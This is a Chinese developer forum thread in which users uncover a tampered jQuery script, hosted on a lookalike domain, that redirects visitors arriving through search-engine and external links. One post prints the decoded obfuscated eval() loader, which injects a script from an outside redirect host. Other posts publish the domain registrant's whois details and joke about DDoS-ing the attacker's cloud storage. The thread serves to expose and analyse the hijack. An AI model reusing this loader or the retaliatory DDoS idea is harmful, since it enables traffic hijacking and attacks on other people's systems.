这个前端劫持脚本是哪位大神放的？麻烦认领一下！

[TrustOcean]

做法很高明呀，只有在外站链入到站点的时候才会发生跳转，搜索引擎的所有链入链接也都被劫持走了。直接访问网站却看不出丝毫问题。 这相似的链接.... 排查了 10 分钟才找出来！

[ues]

安全浏览器应该提示风险

[zjsxwc]

公用的 js 也投毒， 233333333333

不过域名是百度的，没准它就是不想别人免费用它的 js 也说不定

[azh7138m]

@zjsxwc 域名不一样的，一个是 baidu.com ，另一个是 libs-baidu.com

[dot2017]

baidu555556666.oss-cn-hongkong/aliyuncs/com
哪位大佬 DD 一下让他的 OSS 账单撑爆掉😊

[23f0baf3]

@zjsxwc 那个域名是 libs-baidu.com ，个人注册的，估计是个做黑厂的。whois 信息:
Name:zhengxianbang
Organization:zhengxianbang
Street:yongjiaxian,yongjiaxian,kunyangxiang,zhengshancun
City:beijing
State:zhejiangsheng
Postal Code:325100
Country:CN
Phone:[phone]
Fax:[phone]
Email:[email protected]

[emCupid]

唉，提速降费是惠民了，位是运营商劫持也更变本加厉了

[flowfire]

https 怎么劫持？

[sunsulei]

只看到域名不一样 并没发现什么劫持，跳转等其他不妥

[changwei]

同樓上，就這麼一點點截圖，除了域名不同以外，沒看出來這兩個代碼有什麼問題。雖然我知道他這樣做肯定有問題。

[TrustOcean]

@flowfire
@sunsulei
@changwei

通过 tool.lu/js 的解码：
前者 JQ 脚本多出了一段加密后的 JS

eval(function(p, a, c, k, e, d) {
e = function(c) {
return (c < a ? "" : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
};
if (!''.replace(/^/, String)) {
while (c--) d[e(c)] = k[c] || e(c);
k = [function(e) {
return d[e]
}];
e = function() {
return '\\w+'
};
c = 1;
};
while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
return p;
}('4.5("<0 6=\\\'1/2\\\' 3=\\\'7://b.c.d/8?9=a\\\'></0>");', 14, 14, 'script|text|javascript|src|document|writeln|type|https|safe|lx|lhc|www|05fu|com'.split('|'), 0, {}))

这一段引用了一个外站的跳转代码。
PS：只有当附带 refer 的情况下才会 GET 到真实跳转代码，否则报 404.

[LGA1150]

@dot2017 wrk 10000 并发压测中

[sunsulei]

@LGA1150 小心被实名。。

[sunsulei]

@TrustOcean 看不懂。。。不过也没必要看懂，冲着这个域名基本上就不是正常玩法

[LGA1150]

@sunsulei 吓得我赶紧停了

[franklinyu]

完全另一個域名 libs-baidu.com ，不用不就完了

[huasec]

我的代码那么简单，都看不出来，真笨！